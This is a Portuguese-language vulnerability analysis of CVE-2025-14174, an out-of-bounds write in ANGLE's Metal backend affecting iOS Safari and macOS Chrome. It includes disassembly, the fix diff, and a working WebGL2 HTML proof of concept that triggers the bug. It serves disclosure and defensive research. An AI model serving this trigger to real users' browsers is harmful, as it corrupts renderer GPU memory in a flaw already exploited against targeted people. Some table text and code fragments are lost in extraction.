
Análise e PoC para CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)
Análise técnica e prova de conceito para CVE-2025-14174
| CVE | CVE-2025-14174 |
| Gravidade | Alta |
| Explorado ITW | Sim - ataques direcionados a iOS < 26 |
| Afetado | iOS Safari, macOS Chrome/Chromium/Electron (não macOS Safari) |
| Status | Corrigido no commit 95a32cb do ANGLE |
| Crédito | Apple, Google Threat Analysis Group |
De acordo com a Apple, o CVE-2025-14174 foi explorado como parte de um "ataque extremamente sofisticado contra indivíduos específicos" em versões do iOS anteriores ao iOS 26.
A cadeia de ataque incluía:
Uma vulnerabilidade de escrita fora dos limites (OOB) existe no backend Metal do ANGLE ao enviar texturas de profundidade via um buffer de staging. O tamanho do buffer de staging é calculado usando GL_UNPACK_IMAGE_HEIGHT em vez da altura real da textura. Quando UNPACK_IMAGE_HEIGHT < height, o ANGLE aloca um buffer menor e subsequentemente escreve height linhas nele, causando uma corrupção de memória da GPU no processo renderizador.
Esta vulnerabilidade afeta aplicações que usam o backend Metal do ANGLE para WebGL:
O Safari do iOS é afetado. No iOS, o WebKit usa ANGLE como seu backend WebGL, tornando o Safari no iPhone e iPad vulnerável.
O Safari do macOS NÃO é afetado. No macOS, o Safari usa sua própria implementação WebGL nativa do WebKit que interage diretamente com o Metal, ignorando completamente o ANGLE.
O Chrome do macOS é afetado. O Google Chrome rodando no macOS 26.1 mostrou-se vulnerável durante testes, pois usa o backend Metal do ANGLE para WebGL.
O caminho de código vulnerável existe na classe TextureMtl do ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Gravidade | Descrição |
|---|---|
| Confirmado | Escrita no backend GPU/Metal além do final do buffer de staging |
Características principais:
NO_ERROR)No caminho de upload de textura de profundidade D32F, o ANGLE calcula pixelsDepthPitch a partir de GL_UNPACK_IMAGE_HEIGHT e usa esse valor para dimensionar o MTLBuffer de staging. No entanto, o dispatch de computação subsequente (saturação de profundidade) usa a altura real da textura para a operação, causando uma escrita OOB quando os parâmetros diferem.
Para width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
Todas as condições abaixo devem ser verdadeiras:
DEPTH_COMPONENT32F (verificado; outros formatos de profundidade também podem ser afetados, mas não testados)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT definido com um valor menor que a altura real da texturaGL_UNPACK_IMAGE_HEIGHT é definido pela especificação GL para afetar uploads de texturas 3D/array, não texturas 2D. Para TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height para texturas 2DWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Backend Metal)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Calcula pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← MENOR QUE O NECESSÁRIO
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USA ALTURA REAL
; setSubImageImpl - calcula depthPitch menor que o necessário
0x272fa90f4: ldr w8, [x25, #0x10] ; carrega UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - chama MakeBufferWithStorageMode com depthPitch menor que o necessário
0x272fac5bc: mov x2, x19 ; x2 = tamanho (depthPitch menor que o necessário)
0x272fac5c4: bl #0x272ef19bc ; chama MakeBufferWithStorageMode
; setSubImageImpl - calcula depthPitch menor que o necessário
0x22c6d11c0: ldr w8, [x25, #0x10] ; carrega UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - chama MakeBufferWithStorageMode com depthPitch menor que o necessário
0x22c6d461c: ldr x20, [sp, #0x48] ; carrega depthPitch da pilha
0x22c6d4628: bl MakeBufferWithStorageMode
A função SaturateDepth subsequentemente dispara um compute shader do Metal usando as dimensões reais da textura, escrevendo além do buffer de staging menor que o necessário.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Resultado esperado em sistemas vulneráveis: gl.getError() retorna NO_ERROR apesar da escrita OOB ocorrer no processo GPU.
Commit 95a32cb do ANGLE corrige a alocação do buffer de staging para usar as dimensões reais da textura:
// ANTES (vulnerável)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// DEPOIS (corrigido)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Além disso, o cálculo de srcBytesPerImage foi corrigido para a operação de blit:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Esta vulnerabilidade é difícil de detectar a partir do JavaScript:
NO_ERROR mesmo quando o bug é disparado| Abordagem | Descrição |
|---|---|
| Atualização | Aplicar atualizações da plataforma que contenham a correção do ANGLE |
| Solução alternativa | Evitar definir menor que a altura real para texturas de profundidade |
Descoberta da Vulnerabilidade: Apple, Google Threat Analysis Group
Análise Técnica: Este relatório documenta pesquisa independente e engenharia reversa da vulnerabilidade.
Análise conduzida como parte do projeto de pesquisa de segurança SpiderWebKit.
| Plataforma | Software | Afetado | Notas |
|---|
| iOS | Safari | Sim | WebKit no iOS usa ANGLE Metal para WebGL |
| macOS | Chrome / Chromium | Sim | Usa backend Metal do ANGLE |
| macOS | Aplicativos Electron | Sim | Usa implementação do ANGLE do Chromium |
| macOS | Safari | Não | Usa o WebGL Metal nativo do WebKit, não o ANGLE |
| Confirmado | Reproduzível via WebGL2 + PBO + DEPTH_COMPONENT32F |
| Plausível | Falha no processo GPU ou perda de contexto sob pressão de memória |
| Teórico | Corrupção cruzada de recursos na memória GPU (não demonstrada) |
| Parâmetro | Cálculo | Valor |
|---|
| Passo da linha (row pitch) | width * sizeof(float) | 4 bytes |
| Buffer de staging (alocado) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 bytes |
| Dispatch de computação (escrito) | rowPitch * actualHeight | 2048 bytes |
| Escrita OOB | 2048 - 512 | 1536 bytes |
| Função | Endereço | Papel |
|---|
setSubImageImpl | 0x272fa9028 | Calcula depthPitch menor que o necessário |
setPerSliceSubImage | 0x272fac240 | Aloca buffer de staging menor que o necessário |
MakeBufferWithStorageMode | 0x272ef19bc | Cria MTLBuffer com tamanho errado |
SaturateDepth | 0x272facfa4 | Dispara computação com dimensões reais |
| Função | Endereço | Papel |
|---|
setSubImageImpl | 0x22c6d10f4 | Calcula depthPitch menor que o necessário |
setPerSliceSubImage | 0x22c6d4398 | Aloca buffer de staging menor que o necessário |
MakeBufferWithStorageMode | 0x22c619490 | Cria MTLBuffer com tamanho errado |
SaturateDepth | 0x22c6d5144 | Dispara computação com dimensões reais |
UNPACK_IMAGE_HEIGHT| Defesa em profundidade | Usar uploads de tamanho fixo onde UNPACK_IMAGE_HEIGHT == height |